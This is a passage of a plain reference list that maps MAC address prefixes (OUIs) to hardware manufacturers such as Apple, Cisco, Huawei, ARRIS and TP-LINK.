Information Industry Co., Ltd. 30074D SAMSUNG ELECTRO-MECHANICS(THAILAND) 00A3D1 Cisco Systems, Inc 801DAA Avaya Inc 001B4F Avaya Inc 7052C5 Avaya Inc 848371 Avaya Inc 24D921 Avaya Inc A051C6 Avaya Inc 90EC50 C.O.B.O. SPA 90FB5B Avaya Inc B4475E Avaya Inc D4EA0E Avaya Inc A009ED Avaya Inc 3C0CDB UNIONMAN TECHNOLOGY CO.,LTD C81FEA Avaya Inc F01B6C vivo Mobile Communication Co., Ltd. DC1AC5 vivo Mobile Communication Co., Ltd. 205D47 vivo Mobile Communication Co., Ltd. 9CFBD5 vivo Mobile Communication Co., Ltd. 10F681 vivo Mobile Communication Co., Ltd. 886AE3 Alpha Networks Inc. 9061AE Intel Corporate A4F3E7 Integrated Device Technology (Malaysia) Sdn. Bhd. A0239F Cisco Systems, Inc D8DF7A Quest Software, Inc. 30B62DMojo Networks, Inc. 001B17 Palo Alto Networks 9828A6 COMPAL INFORMATION (KUNSHAN) CO., LTD. B0EABC ASKEY COMPUTER CORP 94C691 EliteGroup Computer Systems Co., LTD 9C6F52 zte corporation A09D86 Alcatel-Lucent Shanghai Bell Co., Ltd E0CBBC Cisco Meraki 00D01F Senetas Corporation Ltd A40450 nFore Technology Inc. 4CB008 Shenzhen Gwelltimes Technology Co.,Ltd 2CE6CC Ruckus Wireless 8C0C90 Ruckus Wireless 842096 SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. 589396 Ruckus Wireless 74911A Ruckus Wireless 00227F Ruckus Wireless 002482 Ruckus Wireless 58B633 Ruckus Wireless D4684D Ruckus Wireless F03E90 Ruckus Wireless EC8CA2 Ruckus Wireless 3087D9 Ruckus Wireless 24792A Ruckus Wireless 30F77F S Mobile Devices Limited 5C5181 Samsung Electronics Co.,Ltd 389AF6 Samsung Electronics Co.,Ltd E0AA96 Samsung Electronics Co.,Ltd 507705 Samsung Electronics Co.,Ltd 38E595 SHENZHEN GONGJIN ELECTRONICS CO.,LT C4CB6B Airista Flow, Inc. B05508 HUAWEI TECHNOLOGIES CO.,LTD 008BFC mixi,Inc. 2C4053 Samsung Electronics Co.,Ltd ACDE48 Private D09466 Dell Inc. F0EFD2 TF PAYMENT SERVICE CO., LTD 30C01B Shenzhen Jingxun Software Telecommunication Technology Co.,Ltd 647C34 Ubee Interactive Co., Limited E817FC Fujitsu Cloud Technologies Limited 001009 HORANET 6432A8 Intel Corporate 78BC1A Cisco Systems, Inc E4F004 Dell Inc. 60F677 Intel Corporate 288CB8 zte corporation 0C72D9 zte corporation E472E2 HUAWEI TECHNOLOGIES CO.,LTD E86819 HUAWEI TECHNOLOGIES CO.,LTD 602E20 HUAWEI TECHNOLOGIES CO.,LTD 48BCA6 ​ASUNG TECHNO CO.,Ltd 006069 Brocade Communications Systems, Inc. 000CDB Brocade Communications Systems, Inc. 8C7CFF Brocade Communications Systems, Inc. C4F57C Brocade Communications Systems, Inc. 00237F PLANTRONICS, INC. 00095B NETGEAR 000FB5 NETGEAR 803773 NETGEAR 405D82 NETGEAR C0FFD4 NETGEAR 10DA43 NETGEAR B03956 NETGEAR C43DC7 NETGEAR F87394 NETGEAR AC512C Infinix mobility limited 90B1E0 Beijing Nebula Link Technology Co., Ltd 6C090A GEMATICA SRL 001439 Blonder Tongue Laboratories, Inc 107B44 ASUSTek COMPUTER INC. 9C4FCF TCT mobile ltd 001BD3 Panasonic Corporation AVC Networks Company 00C08F Panasonic Electric Works Co., Ltd. 0008C9 TechniSat Digital GmbH Daun 20A6CD Hewlett Packard Enterprise F4F3AA JBL GmbH & Co. KG 38CD07 Beijing FaceCam Technology Co., Ltd. B009DA Ring Solutions 444AB0 Zhejiang Moorgen Intelligence Technology Co., Ltd ECFA03 FCA 90324B Hon Hai Precision Ind. Co.,Ltd. 78E103 Amazon Technologies Inc. 78A6E1 Brocade Communications Systems, Inc. F4D7B2 LGS Innovations, LLC 34298F IEEE Registration Authority 20040F Dell Inc. 2C7360 Earda Technologies co Ltd 048B42 Skspruce Technologies 9C63ED zte corporation C421C8 KYOCERA CORPORATION 002692 Mitsubishi Electric Corporation F03D03 TECNO MOBILE LIMITED 006088 Analog Devices, Inc. 084ACF GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 1CDDEA GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD ECEBB8 Hewlett Packard Enterprise 5CE8B7 Oraimo Technology Limited D89EF3 Dell Inc. CC66B2 Nokia C0742B SHENZHEN XUNLONG SOFTWARE CO.,LIMITED D8AFF1 Panasonic Appliances Company 7086C1 Texas Instruments A072E4 NJ SYSTEM CO.,LTD A8E824 INIM ELECTRONICS S.R.L. 6CB749 HUAWEI TECHNOLOGIES CO.,LTD A0FE61 Vivint Wireless Inc. 601803 Daikin Air-conditioning (Shanghai) Co., Ltd. 08152F Samsung Electronics Co., Ltd. ARTIK 408BF6 Shenzhen TCL New Technology Co., Ltd B4CD27 HUAWEI TECHNOLOGIES CO.,LTD 3CCD5D HUAWEI TECHNOLOGIES CO.,LTD 346B46 Sagemcom Broadband SAS D4C19E Ruckus Wireless 08DFCB Systrome Networks 9CA615 TP-LINK TECHNOLOGIES CO.,LTD. 28AC9E Cisco Systems, Inc 04FA83 Qingdao Haier Technology Co.,Ltd 84F3EB Espressif Inc. 10B36F Bowei Technology Company Limited 800588 Ruijie Networks Co.,LTD 9CE895 New H3C Technologies Co., Ltd 00165C Trackflow Ltd. 04E229 Qingdao Haier Technology Co.,Ltd 78F9B4 Nokia 04D3B0 Intel Corporate C8D779 QING DAO HAIER TELECOM CO.,LTD. 3CE1A1 Universal Global Scientific Industrial Co., Ltd. 58BAD4 HUAWEI TECHNOLOGIES CO.,LTD 14B126 Industrial Software Co B8C111 Apple, Inc. 3408BC Apple, Inc. 844167 Apple, Inc. B4F61C Apple, Inc. 68AB1E Apple, Inc. 2C61F6 Apple, Inc. E49ADC Apple, Inc. D0817A Apple, Inc. C4618B Apple, Inc. 3451C9 Apple, Inc. E0B9BA Apple, Inc. D023DB Apple, Inc. B88D12 Apple, Inc. B817C2 Apple, Inc. 68A86D Apple, Inc. 78A3E4 Apple, Inc. 680927 Apple, Inc. 60FACD Apple, Inc. 1CABA7 Apple, Inc. 784F43 Apple, Inc. 404D7F Apple, Inc. 7C04D0 Apple, Inc. BC9FEF Apple, Inc. 8866A5 Apple, Inc. 88E87F Apple, Inc. B853AC Apple, Inc. 2C3361 Apple, Inc. A860B6 Apple, Inc. 24F094 Apple, Inc. 90B0ED Apple, Inc. C4B301 Apple, Inc. E05F45 Apple, Inc. 483B38 Apple, Inc. E0C767 Apple, Inc. 1C9E46 Apple, Inc. 0CD746 Apple, Inc. 440010 Apple, Inc. E498D6 Apple, Inc. 606944 Apple, Inc. 0452F3 Apple, Inc. 241EEB Apple, Inc. F431C3 Apple, Inc. 64A5C3 Apple, Inc. BC926B Apple, Inc. 0050E4 Apple, Inc. 003065 Apple, Inc. 000A27 Apple, Inc. 001451 Apple, Inc. 8C7B9D Apple, Inc. 88C663 Apple, Inc. C82A14 Apple, Inc. 9803D8 Apple, Inc. 8C5877 Apple, Inc. 0019E3 Apple, Inc. 002312 Apple, Inc. 002332 Apple, Inc. 002436 Apple, Inc. 00254B Apple, Inc. 0026BB Apple, Inc. 70F087 Apple, Inc. 886B6E Apple, Inc. 4C74BF Apple, Inc. E80688 Apple, Inc. CC08E0 Apple, Inc. 5855CA Apple, Inc. 5C0947 Apple, Inc. 38892C Apple, Inc. 40831D Apple, Inc. 50BC96 Apple, Inc. B4C0F5 Shenzhen TINNO Mobile Technology Corp. 7412BB Fiberhome Telecommunication Technologies Co.,LTD 985AEB Apple, Inc. 2078F0 Apple, Inc. 78D75F Apple, Inc. E0ACCB Apple, Inc. 98E0D9 Apple, Inc. C0CECD Apple, Inc. 70E72C Apple, Inc. D03311 Apple, Inc. 5CADCF Apple, Inc. 006D52 Apple, Inc. 48437C Apple, Inc. 34A395 Apple, Inc. 9CF387 Apple, Inc. A85B78 Apple, Inc. 908D6C Apple, Inc. 0C1539 Apple, Inc. BC4CC4 Apple, Inc. 0CBC9F Apple, Inc. A45E60 Apple, Inc. 544E90 Apple, Inc. 9CE65E Apple, Inc. 90DD5D Apple, Inc. 08F69C Apple, Inc. D461DA Apple, Inc. C8D083 Apple, Inc. 88E9FE Apple, Inc. 88AE07 Apple, Inc. 18AF8F Apple, Inc. C8B5B7 Apple, Inc. A8BBCF Apple, Inc. 90B21F Apple, Inc. B8E856 Apple, Inc. 1499E2 Apple, Inc. B418D1 Apple, Inc. 80006E Apple, Inc. 60D9C7 Apple, Inc. C8F650 Apple, Inc. 1C1AC0 Apple, Inc. E06678 Apple, Inc. 5C8D4E Apple, Inc. C0F2FB Apple, Inc. 00F76F Apple, Inc. AC87A3 Apple, Inc. 542696 Apple, Inc. D8D1CB Apple, Inc. 64A3CB Apple, Inc. 44FB42 Apple, Inc. F41BA1 Apple, Inc. 3CE072 Apple, Inc. E88D28 Apple, Inc. CC785F Apple, Inc. AC3C0B Apple, Inc. 88CB87 Apple, Inc. EC3586 Apple, Inc. F0C1F1 Apple, Inc. F4F951 Apple, Inc. 8CFABA Apple, Inc. 5C95AE Apple, Inc. E0C97A Apple, Inc. BC52B7 Apple, Inc. 14109F Apple, Inc. 0CF893 ARRIS Group, Inc. 14ABF0 ARRIS Group, Inc. ACB313 ARRIS Group, Inc. 306023 ARRIS Group, Inc. 001DD6 ARRIS Group, Inc. 1C1B68 ARRIS Group, Inc. 44E137 ARRIS Group, Inc. E83381 ARRIS Group, Inc. 8461A0 ARRIS Group, Inc. 601971 ARRIS Group, Inc. 0000CA ARRIS Group, Inc. 001596 ARRIS Group, Inc. 0015A2 ARRIS Group, Inc. 001311 ARRIS Group, Inc. 7C2634 ARRIS Group, Inc. 1005B1 ARRIS Group, Inc. 10868C ARRIS Group, Inc. 001DD1 ARRIS Group, Inc. 0026D9 ARRIS Group, Inc. 28C87A ARRIS Group, Inc. 54E2E0 ARRIS Group, Inc. A055DE ARRIS Group, Inc. A0C562 ARRIS Group, Inc. FC6FB7 ARRIS Group, Inc. 00D037 ARRIS Group, Inc. 1835D1 ARRIS Group, Inc. 4C38D8 ARRIS Group, Inc. A89FEC ARRIS Group, Inc. 0CEAC9 ARRIS Group, Inc. F88B37 ARRIS Group, Inc. 4434A7 ARRIS Group, Inc. 0018A4 ARRIS Group, Inc. 001A1B ARRIS Group, Inc. 00149A ARRIS Group, Inc. 001371 ARRIS Group, Inc. 001DBE ARRIS Group, Inc. 001E5A ARRIS Group, Inc. 001D6B ARRIS Group, Inc. 001CC1 ARRIS Group, Inc. 001C11 ARRIS Group, Inc. 001F7E ARRIS Group, Inc. 002495 ARRIS Group, Inc. 2C9E5F ARRIS Group, Inc. C8AA21 ARRIS Group, Inc. 341FE4 ARRIS Group, Inc. 400D10 ARRIS Group, Inc. 001ADB ARRIS Group, Inc. 002375 ARRIS Group, Inc. 0024A1 ARRIS Group, Inc. A4ED4E ARRIS Group, Inc. 002642 ARRIS Group, Inc. 0015CE ARRIS Group, Inc. 002040 ARRIS Group, Inc. 0011AE ARRIS Group, Inc. 000F9F ARRIS Group, Inc. 000B06 ARRIS Group, Inc. 00152F ARRIS Group, Inc. 00111A ARRIS Group, Inc. 001626 ARRIS Group, Inc. 00CFC0 China Mobile Group Device Co.,Ltd. 0C73EB IEEE Registration Authority 106530 Dell Inc. B4E01D CONCEPTION ELECTRONIQUE 1C0042 NARI Technology Co., Ltd. 701D08 99IOT Shenzhen co.,ltd 9C7F57 DERA Co. Ltd 00E009 Stratus Technologies 300AC5 Ruio telecommunication technologies Co., Limited 3C24F0 IEEE Registration Authority C88629 Shenzhen Duubee Intelligent Technologies Co.,LTD. A0E617 MATIS 505BC2 Liteon Technology Corporation D832E3 Xiaomi Communications Co Ltd 840D8E Espressif Inc. FC90FA Independent Technologies CCC92C Schindler - PORT Technology 7C2EBD Google, Inc. E0BAB4 Arrcus, Inc 000ADB Trilliant 3CF5CC New H3C Technologies Co., Ltd 74EC42 Fiberhome Telecommunication Technologies Co.,LTD CC3ADF Private 604BAA Private 2C584F ARRIS Group, Inc. 90A137 Beijing Splendidtel Communication Technology Co,. Ltd 78AFE4 Comau S.p.A AC3B77 Sagemcom Broadband SAS 00C3F4 Samsung Electronics Co.,Ltd B88AEC Nintendo Co.,Ltd F4BF80 HUAWEI TECHNOLOGIES CO.,LTD 304596 HUAWEI TECHNOLOGIES CO.,LTD F8C39E HUAWEI TECHNOLOGIES CO.,LTD D0D783 HUAWEI TECHNOLOGIES CO.,LTD D8F3DB Post CH AG 2811A5 Bose Corporation 3CF4F9 Moda-InnoChips 308841 Sichuan AI-Link Technology Co., Ltd. 0C01DB Infinix mobility limited 8050F6 ITEL MOBILE LIMITED 401B5F WEIFANG GOERTEK ELECTRONICS CO.,LTD F04B3A Juniper Networks D058FC BSkyB Ltd 74EB80 Samsung Electronics Co.,Ltd A82BB9 Samsung Electronics Co.,Ltd 001017 Bosch Access Systems GmbH 74B91E Nanjing Bestway Automation System Co., Ltd 60058A Hitachi Metals, Ltd. 002106 RIM Testing Services 00907F Watchguard Technologies, Inc. 14579F HUAWEI TECHNOLOGIES CO.,LTD 144F8A Intel Corporate 882D53 Baidu Online Network Technology (Beijing) Co., Ltd. A4DA32 Texas Instruments 001620 Sony Mobile Communications AB 84C7EA Sony Mobile Communications AB C43ABE Sony Mobile Communications AB 40B837 Sony Mobile Communications AB 4040A7 Sony Mobile Communications AB 94CE2C Sony Mobile Communications AB D05162 Sony Mobile Communications AB 0025E7 Sony Mobile Communications AB 402BA1 Sony Mobile Communications AB 0012EE Sony Mobile Communications AB 4C21D0 Sony Mobile Communications AB 307512 Sony Mobile Communications AB B01886 SmarDTV 8C14B4 zte corporation 3C9872 Sercomm Corporation. 5846E1 Baxter International Inc 00D0BD Lattice Semiconductor Corp. (LPA) F08261 Sagemcom Broadband SAS D084B0 Sagemcom Broadband SAS 00FEC8 Cisco Systems, Inc EC2280 D-Link International 047863 Shanghai MXCHIP Information Technology Co., Ltd. 24BA13 RISO KAGAKU CORPORATION 24DA11 NO NDA Inc 70CA4D Shenzhen lnovance Technology Co.,Ltd. DCC0EB ASSA ABLOY CÔTE PICARDE 001735 Intel Wireless Network Group 9CDFB1 Shenzhen Crave Communication Co., LTD 0CC731 Currant, Inc. 00142F Savvius 2CDDA3 Point Grey Research Inc. 24FD5B SmartThings, Inc. 2876CD Funshion Online Technologies Co.,Ltd F4F5D8 Google, Inc. F4F5E8 Google, Inc. F88FCA Google, Inc. BCD1D3 Shenzhen TINNO Mobile Technology Corp. BC4434 Shenzhen TINNO Mobile Technology Corp. 0041D2 Cisco Systems, Inc 4CFB45 HUAWEI TECHNOLOGIES CO.,LTD A4BA76 HUAWEI TECHNOLOGIES CO.,LTD 78E3B5 Hewlett Packard 984BE1 Hewlett Packard 68B599 Hewlett Packard 14D64D D-Link International C8BE19 D-Link International BCF685 D-Link International CCB255 D-Link International 84C9B2 D-Link International DCD321 HUMAX Co., Ltd. CC4EEC HUMAX Co., Ltd. 0080E1 STMicroelectronics SRL 58DC6D Exceptional Innovation, Inc. 00092D HTC Corporation F8DB7F HTC Corporation E899C4 HTC Corporation 7CB15D HUAWEI TECHNOLOGIES CO.,LTD 18686A zte corporation 0C0535 Juniper Systems 8851FB Hewlett Packard AC162D Hewlett Packard A0B3CC Hewlett Packard E4115B Hewlett Packard C8CBB8 Hewlett Packard 9457A5 Hewlett Packard 0001E7 Hewlett Packard 080009 Hewlett Packard 0080A0 Hewlett Packard D48564 Hewlett Packard 3C4A92 Hewlett Packard 780AC7 Baofeng TV Co., Ltd. 001D73 BUFFALO.INC 001601 BUFFALO.INC 106F3F BUFFALO.INC 8857EE BUFFALO.INC 009C02 Hewlett Packard 78E7D1 Hewlett Packard 001B78 Hewlett Packard 001E0B Hewlett Packard 2C6E85 Intel Corporate 00D0B7 Intel Corporation 0002B3 Intel Corporation 001111 Intel Corporation 001320 Intel Corporate 0012F0 Intel Corporate 9049FA Intel Corporate C8348E Intel Corporate 00508B Hewlett Packard 784859 Hewlett Packard 1458D0 Hewlett Packard 5065F3 Hewlett Packard A0481C Hewlett Packard A01D48 Hewlett Packard 94B2CC PIONEER CORPORATION 887F03 Comper Technology Investment Limited 0019E0 TP-LINK TECHNOLOGIES CO.,LTD. 0023CD TP-LINK TECHNOLOGIES CO.,LTD. 002719 TP-LINK TECHNOLOGIES CO.,LTD. 40169F TP-LINK TECHNOLOGIES CO.,LTD. 940C6D TP-LINK TECHNOLOGIES CO.,LTD. 74EA3A TP-LINK TECHNOLOGIES CO.,LTD. 90F652 TP-LINK TECHNOLOGIES CO.,LTD. 10FEED TP-LINK TECHNOLOGIES CO.,LTD. C46E1F TP-LINK TECHNOLOGIES CO.,LTD. 50FA84 TP-LINK TECHNOLOGIES CO.,LTD. F483CD TP-LINK TECHNOLOGIES CO.,LTD. 882593 TP-LINK TECHNOLOGIES CO.,LTD. 808917 TP-LINK TECHNOLOGIES CO.,LTD. 5C899A TP-LINK TECHNOLOGIES CO.,LTD. 1C994C Murata Manufacturing Co., Ltd. F02765 Murata Manufacturing Co., Ltd. 20A783 miControl GmbH 005053 Cisco Systems, Inc 00500F Cisco Systems, Inc D842AC Shanghai Feixun Communication Co.,Ltd. 34CDBE HUAWEI TECHNOLOGIES CO.,LTD D46AA8 HUAWEI TECHNOLOGIES CO.,LTD 5439DF HUAWEI TECHNOLOGIES CO.,LTD 4846FB HUAWEI TECHNOLOGIES CO.,LTD 200BC7 HUAWEI TECHNOLOGIES CO.,LTD 104780 HUAWEI TECHNOLOGIES CO.,LTD 88308A Murata Manufacturing Co., Ltd. 44A7CF Murata Manufacturing Co., Ltd. 0013E0 Murata Manufacturing Co., Ltd. 344B50 zte corporation FCC897 zte corporation 9CD24B zte corporation C864C7 zte corporation D0154A zte corporation 88E3AB HUAWEI TECHNOLOGIES CO.,LTD 00664B HUAWEI TECHNOLOGIES CO.,LTD 68A0F6 HUAWEI TECHNOLOGIES CO.,LTD 5CF96A HUAWEI TECHNOLOGIES CO.,LTD B43052 HUAWEI TECHNOLOGIES CO.,LTD 88CEFA HUAWEI TECHNOLOGIES CO.,LTD 582AF7 HUAWEI TECHNOLOGIES CO.,LTD F48E92 HUAWEI TECHNOLOGIES CO.,LTD 40CBA8 HUAWEI TECHNOLOGIES CO.,LTD 087A4C HUAWEI TECHNOLOGIES CO.,LTD D46E5C HUAWEI TECHNOLOGIES CO.,LTD 2469A5 HUAWEI TECHNOLOGIES CO.,LTD C8D15E HUAWEI TECHNOLOGIES CO.,LTD F83DFF HUAWEI TECHNOLOGIES CO.,LTD 308730 HUAWEI TECHNOLOGIES CO.,LTD 002568 HUAWEI TECHNOLOGIES CO.,LTD 30D17E HUAWEI TECHNOLOGIES CO.,LTD 9C28EF HUAWEI TECHNOLOGIES CO.,LTD 7C6097 HUAWEI TECHNOLOGIES CO.,LTD 60DE44 HUAWEI TECHNOLOGIES CO.,LTD 3400A3 HUAWEI TECHNOLOGIES CO.,LTD 643E8C HUAWEI TECHNOLOGIES CO.,LTD 0016FE ALPS ELECTRIC CO.,LTD. 0498F3 ALPS ELECTRIC CO.,LTD. 38C096 ALPS ELECTRIC CO.,LTD. E0750A ALPS ELECTRIC CO.,LTD. B05947 Shenzhen Qihu Intelligent Technology Company Limited 00E04F Cisco Systems, Inc 001011 Cisco Systems, Inc 0010F6 Cisco Systems, Inc 80E01D Cisco Systems, Inc 80E86F Cisco Systems, Inc E4AA5D Cisco Systems, Inc B0AA77 Cisco Systems, Inc 78BAF9 Cisco Systems, Inc 0016B6 Cisco-Linksys, LLC 0018F8 Cisco-Linksys, LLC 00252E Cisco SPVTG A4A24A Cisco SPVTG 602AD0 Cisco SPVTG 001BFB ALPS ELECTRIC CO.,LTD. 00E08F Cisco Systems, Inc 203A07 Cisco Systems, Inc 34A84E Cisco Systems, Inc E4D3F1 Cisco Systems, Inc 1CE6C7 Cisco Systems, Inc E02F6D Cisco Systems, Inc 8478AC Cisco Systems, Inc 4403A7 Cisco Systems, Inc 6886A7 Cisco Systems, Inc B4E9B0 Cisco Systems, Inc 000832 Cisco Systems, Inc B0FAEB Cisco Systems, Inc 500604 Cisco Systems, Inc 70105C Cisco Systems, Inc 14DAE9 ASUSTek COMPUTER INC. 3C08F6 Cisco Systems, Inc D072DC Cisco Systems, Inc 28C7CE Cisco Systems, Inc 6CFA89 Cisco Systems, Inc 58F39C Cisco Systems, Inc 346288 Cisco Systems, Inc 881DFC Cisco Systems, Inc C067AF Cisco Systems, Inc 64E950 Cisco Systems, Inc 189C5D Cisco Systems, Inc 000EA6 ASUSTek COMPUTER INC. 0013D4 ASUSTek COMPUTER INC. 002618 ASUSTek COMPUTER INC. 00248C ASUSTek COMPUTER INC. 0050A2 Cisco Systems, Inc 0050F0 Cisco Systems, Inc 00905F Cisco Systems, Inc 00902B Cisco Systems, Inc 00100B Cisco Systems, Inc 00100D Cisco Systems, Inc 001014 Cisco Systems, Inc D4B8FF Home Control Singapore Pte Ltd AC6462 zte corporation C08488 Finis Inc 68E8EB Linktel Technologies Co.,Ltd 20C3A4 RetailNext 780541 Queclink Wireless Solutions Co., Ltd C02DEE Cuff 54A3FA BQT Solutions (Australia)Pty Ltd 9023EC Availink, Inc. 3891D5 Hangzhou H3C Technologies Co., Limited 90DFFB HOMERIDER SYSTEMS 3C831E CKD Corporation 381C23 Hilan Technology CO.,LTD E03676 HUAWEI TECHNOLOGIES CO.,LTD 3CB72B PLUMgrid Inc 243184 SHARP Corporation 24DA9B Motorola Mobility LLC, a Lenovo Company 3052CB Liteon Technology Corporation B8B2EB Googol Technology (HK) Limited C40049 Kamama 50A9DE Smartcom - Bulgaria AD E8DED6 Intrising Networks, Inc. 8C10D4 Sagemcom Broadband SAS 089B4B iKuai Networks 3C7873 Airsonics C8F9C8 NewSharp Technology(SuZhou)Co,Ltd 3C5CC3 Shenzhen First Blue Chip Technology Ltd A8741D PHOENIX CONTACT Electronics GmbH A4C138 Telink Semiconductor (Taipei) Co. Ltd. D8EFCD Nokia EC0133 TRINUS SYSTEMS INC. 1C56FE Motorola Mobility LLC, a Lenovo Company 7CA23E HUAWEI TECHNOLOGIES CO.,LTD 501AA5 GN Netcom A/S F09A51 Shanghai Viroyal Electronic Technology Company Limited 9870E8 INNATECH SDN BHD 50DF95 Lytx 584925 E3 Enterprise 94F278 Elma Electronic E8BDD1 HUAWEI TECHNOLOGIES CO.,LTD 3481F4 SST Taiwan Ltd. F4B8A7 zte corporation 58F102 BLU Products Inc. B869C2 Sunitec Enterprise Co., Ltd. 2CC548 IAdea Corporation 307CB2 ANOV FRANCE 90D8F3 zte corporation 444CA8 Arista Networks FCE33C HUAWEI TECHNOLOGIES CO.,LTD BC6A2F Henge Docks LLC E4907E Motorola Mobility LLC, a Lenovo Company 48066A Tempered Networks, Inc. 1CF03E Wearhaus Inc. DCDB70 Tonfunk Systementwicklung und Service GmbH C47D46 FUJITSU LIMITED 68EDA4 Shenzhen Seavo Technology Co.,Ltd B899B0 Cohere Technologies 80C5E6 Microsoft Corporation D85DEF Busch-Jaeger Elektro GmbH 10DF8B Shenzhen CareDear Communication Technology Co.,Ltd 00A784 ITX security 800184 HTC Corporation 38FACA Skyworth Digital Technology(Shenzhen) Co.,Ltd 44C69B Wuhan Feng Tian Information Network CO.,LTD C02567 Nexxt Solutions B46D35 Dalian Seasky Automation Co;Ltd B89ACD ELITE OPTOELECTRONIC(ASIA)CO.,LTD 241C04 SHENZHEN JEHE TECHNOLOGY DEVELOPMENT CO., LTD. F8CFC5 Motorola Mobility LLC, a Lenovo Company BCF811 Xiamen DNAKE Technology Co.,Ltd A8827F CIBN Oriental Network(Beijing) CO.,Ltd 900A39 Wiio, Inc. C4693E Turbulence Design Inc. 1C8341 Hefei Bitland Information Technology Co.Ltd 4011DC Sonance 249EAB HUAWEI TECHNOLOGIES CO.,LTD DC56E6 Shenzhen Bococom Technology Co.,LTD 5CA178 TableTop Media (dba Ziosk) 702A7D EpSpot AB B8B3DC DEREK (SHAOGUAN) LIMITED 6C1E70 Guangzhou YBDS IT Co.,Ltd C8E130 Milkyway Group Ltd 8833BE Ivenix, Inc. 34CC28 Nexpring Co. LTD., 144146 Honeywell (China) Co., LTD F41563 F5 Networks, Inc. C4EA1D Technicolor 20E407 Spark srl 887384 Toshiba 584704Shenzhen Webridge Technology Co.,Ltd B856BD ITT LLC 107873 Shenzhen Jinkeyi Communication Co., Ltd. D45556 Fiber Mountain Inc. F01E34 ORICO Technologies Co., Ltd 74A063 HUAWEI TECHNOLOGIES CO.,LTD A89008 Beijing Yuecheng Technology Co. Ltd. 183864 CAP-TECH INTERNATIONAL CO., LTD. 08D34B Techman Electronics (Changshu) Co., Ltd. C808E9 LG Electronics 78ACBF Igneous Systems 206274 Microsoft Corporation 5CCCFF Techroutes Network Pvt Ltd 844BB7 Beijing Sankuai Online Technology Co.,Ltd 148F21 Garmin International 3C6A9D Dexatek Technology LTD. 14893E VIXTEL TECHNOLOGIES LIMTED 60F189 Murata Manufacturing Co., Ltd. 74A34A ZIMI CORPORATION D89341 General Electric Global Research F4645D Toshiba 30D587 Samsung Electronics Co.,Ltd 1436C6 Lenovo Mobile Communication Technology Ltd. 04C09C Tellabs Inc. 844464 ServerU Inc 589B0B Shineway Technologies, Inc. A48CDB Lenovo 4062B6 Tele system communication 3C2C94 杭州德澜科技有限公司(HangZhou Delan Technology Co.,Ltd) 78312B zte corporation C035C5 Prosoft Systems LTD F8B2F3 GUANGZHOU BOSMA TECHNOLOGY CO.,LTD 1C7D22 Fuji Xerox Co., Ltd. 7C11CD QianTang Technology 0492EE iway AG F02A23 Creative Next Design 8C9109 Toyoshima Electric Technoeogy(Suzhou) Co.,Ltd. 307350 Inpeco SA E8CC18 D-Link International B09137 ISis ImageStream Internet Solutions, Inc 3C1E13 HANGZHOU SUNRISE TECHNOLOGY CO., LTD B4A828 Shenzhen Concox Information Technology Co., Ltd A41242 NEC Platforms, Ltd. 404EEB Higher Way Electronic Co., Ltd. 50BD5F TP-LINK TECHNOLOGIES CO.,LTD. 147590 TP-LINK TECHNOLOGIES CO.,LTD. ECB907 CloudGenix Inc 5CF9F0 Atomos Engineering P/L FCDBB3 Murata Manufacturing Co., Ltd. B8186F ORIENTAL MOTOR CO., LTD. 1C9C26 Zoovel Technologies 9C3583 Nipro Diagnostics, Inc C456FE Lava International Ltd. B89BE4 ABB Power Systems Power Generation C0EEFB OnePlus Tech (Shenzhen) Ltd 108A1B RAONIX Inc. 8CF813 ORANGE POLSKA B8F317 iSun Smasher Communications Private Limited 2442BC Alinco,incorporated C401CE PRESITION (2000) CO., LTD. D01242 BIOS Corporation 50F43C Leeo Inc B43934 Pen Generations, Inc. DCC622 BUHEUNG SYSTEM D062A0 China Essence Technology (Zhumadian) Co., Ltd. CC10A3 Beijing Nan Bao Technology Co., Ltd. 2CA30E POWER DRAGON DEVELOPMENT LIMITED 4CF5A0 Scalable Network Technologies Inc 084656 VEO-LABS 4488CB Camco Technologies NV 5014B5 Richfit Information Technology Co., Ltd CC3080 VAIO Corporation F82441 Yeelink 6CBFB5 Noon Technology Co., Ltd 489D18 Flashbay Limited 8CB094 Airtech I&C Co., Ltd 70F196 Actiontec Electronics, Inc 6C6EFE Core Logic Inc. E4C62B Airware 80F8EB RayTight 94B40F Aruba Networks 4C2C83 Zhejiang KaNong Network Technology Co.,Ltd. E89606 testo Instruments (Shenzhen) Co., Ltd. CC3F1D Intesis Software SL 902181 Shanghai Huaqin Telecom Technology Co.,Ltd 600417 POSBANK CO.,LTD A44AD3 ST Electronics(Shanghai) Co.,Ltd 2497ED Techvision Intelligent Technology Limited 104E07 Shanghai Genvision Industries Co.,Ltd FCD5D9 Shenzhen SDMC Technology Co., Ltd. 007532 INID BV 907EBA UTEK TECHNOLOGY (SHENZHEN) CO.,LTD 488244 Life Fitness / Div. of Brunswick A8F7E0 PLANET Technology Corporation 2C5BE1 Centripetal Networks, Inc D87EB1 x.o.ware, inc. 4045DA Spreadtrum Communications (Shanghai) Co., Ltd. 98BE94 IBM D4B43E Messcomp Datentechnik GmbH A8E539 Moimstone Co.,Ltd 98F170 Murata Manufacturing Co., Ltd. 04C991 Phistek INC. 581F67 Open-m technology limited BC25F0 3D Display Technologies Co., Ltd. 7CE524 Quirky, Inc. D85DFB Private 7CC4EF Devialet 94AEE3 Belden Hirschmann Industries (Suzhou) Ltd. 44666E IP-LINE 705B2E M2Communication Inc. 0C8C8F Kamo Technology Limited F4FD2B ZOYI Company FCAA14 GIGA-BYTE TECHNOLOGY CO.,LTD. 50FEF2 Sify Technologies Ltd 3CD9CE Eclipse WiFi C80210 LG Innotek 702DD1 Newings Communication CO., LTD. F4F646 Dediprog Technology Co. Ltd. ECD9D1 Shenzhen TG-NET Botone Technology Co.,Ltd. 748F4D MEN Mikro Elektronik GmbH A47E39 zte corporation 0C63FC Nanjing Signway Technology Co., Ltd ACA9A0 Audioengine, Ltd. A8A668 zte corporation 60E327 TP-LINK TECHNOLOGIES CO.,LTD. E4D332 TP-LINK TECHNOLOGIES CO.,LTD. A0DA92 Nanjing Glarun Atten Technology Co. Ltd. 6828BA Dejai 48D18E Metis Communication Co.,Ltd A49F85 Lyve Minds, Inc 7CD30A INVENTEC Corporation 3481C4 AVM GmbH 085700 TP-LINK TECHNOLOGIES CO.,LTD. 888914 All Components Incorporated D8150D TP-LINK TECHNOLOGIES CO.,LTD. A06518 VNPT TECHNOLOGY 748F1B MasterImage 3D F03A4B Bloombase, Inc. D82A15 Leitner SpA C4291D KLEMSAN ELEKTRIK ELEKTRONIK SAN.VE TIC.AS. 